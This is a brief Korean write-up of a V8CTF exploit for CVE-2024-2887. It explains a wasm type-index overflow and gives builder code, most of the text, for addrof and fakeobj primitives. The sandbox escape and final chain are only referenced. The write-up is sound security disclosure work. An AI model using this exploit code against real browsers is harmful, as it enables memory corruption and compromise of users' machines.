
V8CTF M123용
다음은 제가 V8CTF M123을 클레임하는 데 사용한 CVE-2024-2887에 대한 간단한 분석입니다.
정의하는 타입의 수가 kV8MaxWasmTypes보다 많아지면(RecGroup에 타입을 더 패딩하여 달성할 수 있음) 타입 인덱스가 20비트를 초과하여 오버플로될 수 있습니다. 그러면 두 타입은 동일한 heap_type을 가지므로 동일한 것으로 간주될 수 있습니다.
ref 객체가 담긴 배열을 생성하고 float64 배열로 읽어 addrof 프리미티브를 얻을 수 있으며, float64 배열을 생성하고 이를 객체로 읽어 fakeobj 프리미티브를 얻을 수 있습니다.
wasm 모듈의 빌더는 아래와 같습니다:
const builder = new WasmModuleBuilder();
let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
builder.addType(makeSig([], []));
builder.startRecGroup();
for (var i = 0; i < o_cnt + 1; i++)
builder.addType(makeSig([], []));
builder.endRecGroup();
for (var i = 0; i < o_cnt - 1; i++)
builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);
overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);
builder.addFunction("addrof", typeId).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(2),
kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, arr,
kExprRefFunc, importId,
kExprCallRef, typeId1,
]);
builder.addFunction("fakeobj", typeId1).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(1),
kGCPrefix, kExprArrayNew, arr,
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
kExprRefFunc, importId2,
kExprCallRef, typeId,
]);
샌드박스 우회에 대해서는 V8-Sandbox-Escape-via-Regexp를 참조하세요. 최종 익스플로잇은 일반적인 orw 체인을 사용하여 stderr로 플래그를 씁니다.